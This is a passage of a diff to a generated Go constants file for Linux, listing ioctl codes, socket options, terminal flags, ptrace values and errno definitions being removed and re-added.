-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x2
-- TCSBRK = 0x5409
-- TCSBRKP = 0x5425
-- TCSETA = 0x5406
-- TCSETAF = 0x5408
-- TCSETAW = 0x5407
-- TCSETS = 0x5402
-- TCSETS2 = 0x402c542b
-- TCSETSF = 0x5404
-- TCSETSF2 = 0x402c542d
-- TCSETSW = 0x5403
-- TCSETSW2 = 0x402c542c
-- TCSETX = 0x5433
-- TCSETXF = 0x5434
-- TCSETXW = 0x5435
-- TCXONC = 0x540a
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x541d
-- TIOCEXCL = 0x540c
-- TIOCGDEV = 0x80045432
-- TIOCGETD = 0x5424
-- TIOCGEXCL = 0x80045440
-- TIOCGICOUNT = 0x545d
-- TIOCGLCKTRMIOS = 0x5456
-- TIOCGPGRP = 0x540f
-- TIOCGPKT = 0x80045438
-- TIOCGPTLCK = 0x80045439
-- TIOCGPTN = 0x80045430
-- TIOCGRS485 = 0x542e
-- TIOCGSERIAL = 0x541e
-- TIOCGSID = 0x5429
-- TIOCGSOFTCAR = 0x5419
-- TIOCGWINSZ = 0x5413
-- TIOCINQ = 0x541b
-- TIOCLINUX = 0x541c
-- TIOCMBIC = 0x5417
-- TIOCMBIS = 0x5416
-- TIOCMGET = 0x5415
-- TIOCMIWAIT = 0x545c
-- TIOCMSET = 0x5418
-- TIOCM_CAR = 0x40
-- TIOCM_CD = 0x40
-- TIOCM_CTS = 0x20
-- TIOCM_DSR = 0x100
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x80
-- TIOCM_RNG = 0x80
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x10
-- TIOCM_ST = 0x8
-- TIOCNOTTY = 0x5422
-- TIOCNXCL = 0x540d
-- TIOCOUTQ = 0x5411
-- TIOCPKT = 0x5420
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x540e
-- TIOCSERCONFIG = 0x5453
-- TIOCSERGETLSR = 0x5459
-- TIOCSERGETMULTI = 0x545a
-- TIOCSERGSTRUCT = 0x5458
-- TIOCSERGWILD = 0x5454
-- TIOCSERSETMULTI = 0x545b
-- TIOCSERSWILD = 0x5455
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x5423
-- TIOCSIG = 0x40045436
-- TIOCSLCKTRMIOS = 0x5457
-- TIOCSPGRP = 0x5410
-- TIOCSPTLCK = 0x40045431
-- TIOCSRS485 = 0x542f
-- TIOCSSERIAL = 0x541f
-- TIOCSSOFTCAR = 0x541a
-- TIOCSTI = 0x5412
-- TIOCSWINSZ = 0x5414
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x100
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x401054d5
-- TUNDETACHFILTER = 0x401054d6
-- TUNGETFEATURES = 0x800454cf
-- TUNGETFILTER = 0x801054db
-- TUNGETIFF = 0x800454d2
-- TUNGETSNDBUF = 0x800454d3
-- TUNGETVNETBE = 0x800454df
-- TUNGETVNETHDRSZ = 0x800454d7
-- TUNGETVNETLE = 0x800454dd
-- TUNSETDEBUG = 0x400454c9
-- TUNSETGROUP = 0x400454ce
-- TUNSETIFF = 0x400454ca
-- TUNSETIFINDEX = 0x400454da
-- TUNSETLINK = 0x400454cd
-- TUNSETNOCSUM = 0x400454c8
-- TUNSETOFFLOAD = 0x400454d0
-- TUNSETOWNER = 0x400454cc
-- TUNSETPERSIST = 0x400454cb
-- TUNSETQUEUE = 0x400454d9
-- TUNSETSNDBUF = 0x400454d4
-- TUNSETTXFILTER = 0x400454d1
-- TUNSETVNETBE = 0x400454de
-- TUNSETVNETHDRSZ = 0x400454d8
-- TUNSETVNETLE = 0x400454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x4
-- VEOL = 0xb
-- VEOL2 = 0x10
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x6
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FP_XSTATE_MAGIC2 = 0x46505845
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_32BIT = 0x40
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_ARCH_PRCTL = 0x1e
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETFPXREGS = 0x12
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETFPXREGS = 0x13
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x21
-+ PTRACE_SYSEMU = 0x1f
-+ PTRACE_SYSEMU_SINGLESTEP = 0x20
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1882,23 +500,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1915,8 +525,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1924,103 +532,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
